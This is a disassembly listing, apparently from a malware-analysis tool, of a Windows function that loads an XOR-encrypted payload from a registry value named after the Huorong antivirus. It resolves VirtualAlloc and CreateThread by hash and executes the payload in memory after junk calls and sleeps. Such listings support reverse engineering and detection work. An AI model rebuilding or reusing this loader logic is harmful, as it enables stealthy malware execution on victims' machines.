Function at 0x1400017e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
call fcn.140001140
test eax, eax
je 0x1400017fe
call fcn.140001090
call section..text
test eax, eax
je 0x14000180c
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x14000181a
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140001828
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001836
call section..text
call fcn.140001140
test eax, eax
je 0x140001844
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140001852
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001860
call section..text
call fcn.1400012a0
test eax, eax
je 0x14000186e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x14000187c
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x14000188a
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140001898
call fcn.1400012a0
call section..text
test eax, eax
je 0x1400018a6
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x1400018b4
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x1400018c2
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x1400018d0
call fcn.1400014b0
call fcn.1400011f0
test eax, eax
je 0x1400018de
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x1400018ec
call fcn.140001140
call fcn.140001140
test eax, eax
je 0x1400018fa
call section..text
call section..text
test eax, eax
je 0x140001908
call fcn.140001090
call fcn.140001140
test eax, eax
je 0x140001916
call fcn.140001090
call section..text
test eax, eax
je 0x140001924
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x140001932
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140001940
call fcn.140001090
call fcn.1400012a0
test eax, eax
je 0x14000194e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x14000195c
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x14000196a
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140001978
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140001986
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x140001994
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x1400019a2
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x1400019b0
call section..text
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r13d, r13d
mov ecx, 0x1f4
mov dword [rsp + 0x60], r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
mov qword [rsp + 0x28], r11
lea rdx, str.huorongqnmlb
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.140002444
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
lea rdx, str.huorongqnmlb
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.140002444
mov rbp, rax
cmp dword [rsp + 0x60], r13d
jbe 0x140001a99
mov r9, rax
sub rbx, rax
mov r8, rax
neg r9
nop dword [rax]
movzx edx, byte [rbx + r8]
inc r8
mov byte [r8 - 1], dl
mov eax, dword [rsp + 0x60]
lea rdx, [r9 + r8]
cmp rdx, rax
jb 0x140001a80
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001650
mov edx, 0xf0b03804
mov rcx, rax
mov rbx, rax
call fcn.140001710
mov edx, 0x1ac1e8e1
mov rcx, rbx
mov rdi, rax
call fcn.140001710
lea rcx, str.kernel32.dll
mov rsi, rax
call rdi
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rbx, rax
call rsi
lea rdx, str.CreateThread
mov rcx, rbx
mov rdi, rax
call rsi
lea rdx, str.WaitForSingleObject
mov rcx, rbx
mov r12, rax
call rsi
mov ecx, dword [rsp + 0x60]
mov r9d, r13d
mov rsi, rax
mov r8, r13
test ecx, ecx
je 0x140001b7d
mov r10, rbp
lea r11, str.0x69
nop dword [rax + rax]
movsx ecx, byte [r8 + r11]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
and eax, 0x80000003
jge 0x140001b68
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove r8, r13
inc r9d
inc r10
cmp r9d, ecx
jb 0x140001b30
mov edx, ecx
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rdi
mov r8d, dword [rsp + 0x60]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.1400055f0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret